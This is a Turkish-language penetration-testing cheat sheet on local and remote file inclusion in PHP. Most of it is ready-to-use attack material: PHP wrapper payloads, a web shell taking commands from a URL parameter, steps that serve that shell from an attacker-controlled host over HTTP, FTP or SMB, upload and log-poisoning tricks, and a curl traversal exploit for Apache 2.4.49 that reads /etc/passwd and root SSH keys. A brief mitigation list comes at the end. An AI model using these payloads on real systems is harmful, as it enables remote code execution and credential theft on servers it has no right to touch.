LFI/RFI

File Inclusion Nedir?

  • LFI (Local File Inclusion): Saldırganın, uygulamadaki güvenlik açığını kullanarak sunucu üzerindeki yerel dosyaları çağırmasına olanak tanıyan bir açıklıktır. Örneğin, sistemdeki /etc/passwd gibi kritik dosyaların içeriği görüntülenebilir.

  • RFI (Remote File Inclusion): Saldırganın, uzak bir sunucudan zararlı bir dosyayı hedef sisteme dahil ettirmesini sağlayan açıklıktır. Bu açık sayesinde dış kaynaktaki bir komut dosyası sisteme çalıştırılmak üzere dahil edilebilir.

  • Bu açıklardan genellikle PHP gibi dinamik içerik yöneten dillerde yapılan hatalı dosya dahil etme işlemleri sorumludur. Kullanıcıdan alınan veri doğrudan include() gibi fonksiyonlarla birleştirildiğinde bu açıklar ortaya çıkar.

Yöntemler

PHP Wrappers

http://example.com?page=php://filter/convert.base64-encode/resource=/etc/passwd

http://example.com?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id

http://example.com?page=php://input&cmd=id # POST data <?php system($_GET["cmd"]); ?>

http://example.com?page=expect://id

RFI

echo '<?php system($_GET["cmd"]); ?>' > shell.php


python -m http.server 80
http://example.com?page=http://192.168.1.2/shell.php&cmd=ls


python -m pyftpdlib -p 21
http://example.com?page=ftp://192.168.1.2/shell.php&cmd=id

impacket-smbserver -smb2support share .
http://example.com?page=\\192.168.1.2\share\shell.php&cmd=whoami

Gif Upload LFI

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

http://example.com?page=./profile_images/shell.gif&cmd=id

Zip Upload LFI

echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php


http://example.com?page=zip://./profile_images/shell.jpg%23shell.php&cmd=id

Phar Upload

<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$phar->stopBuffering();
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg

http://example.com?page=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id

PHP Log Poisoning


# PHP Session Poisoning
http://example.com?page=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
http://example.com?page=C:\Windows\Temp\sess_nhhv8i0o6ua4g88bkdl9u1fdsd
http://example.com?page=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
http://example.com?page=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id

# PHP Log Poisoning

http://example.com?page=/var/log/apache2/access.log
http://example.com?page=/var/log/nginx/access.log
http://example.com?page=C:\nginx\log\access.log
http://example.com?page=C:\xampp\apache\logs\access.log

User Agent: <?php system($_GET['cmd']); ?>

http://example.com?page=/var/log/apache2/access.log?cmd=id

LFI Wordlists

Linux: https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux

Win: https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows

Apache HTTP Server 2.4.49

curl -s --path-as-is "http://192.168.199.245/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

/etc/passwd
/root/.ssh/id_rsa
/root/.ssh/id_ecdsa

Önlemler

  • Uygulama üzerinden hiçbir şekilde dosya dahil işlemi kullanıcı girdisiyle doğrudan yapılmamalıdır. Dahil edilecek dosyalar sabit olarak tanımlanmalı ya da whitelist yöntemi kullanılmalıdır.

  • ../, http://, https://, %00 gibi karakterler filtrelenmeli ya da sistemde realpath() gibi fonksiyonlarla doğrulama yapılmalıdır.

  • allow_url_include ve allow_url_fopen gibi ayarlar kapatılmalıdır. Bu ayarlar açık olduğunda uzak sunuculardan zararlı içerik çağrılabilir.

  • Kullanıcının dahil etmek istediği sayfalar sadece önceden tanımlı dosya listesi içinden seçilebilmelidir. Örneğin: home.php, about.php gibi.

  • Blacklist kullanımı (örneğin sadece “../” engellemek) tek başına yeterli değildir. Saldırganlar bu önlemleri aşmak için alternatif yollar kullanabilirler. Bu yüzden whitelist yaklaşımı tercih edilmelidir.

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/file-path-traversal

Last updated

Was this helpful?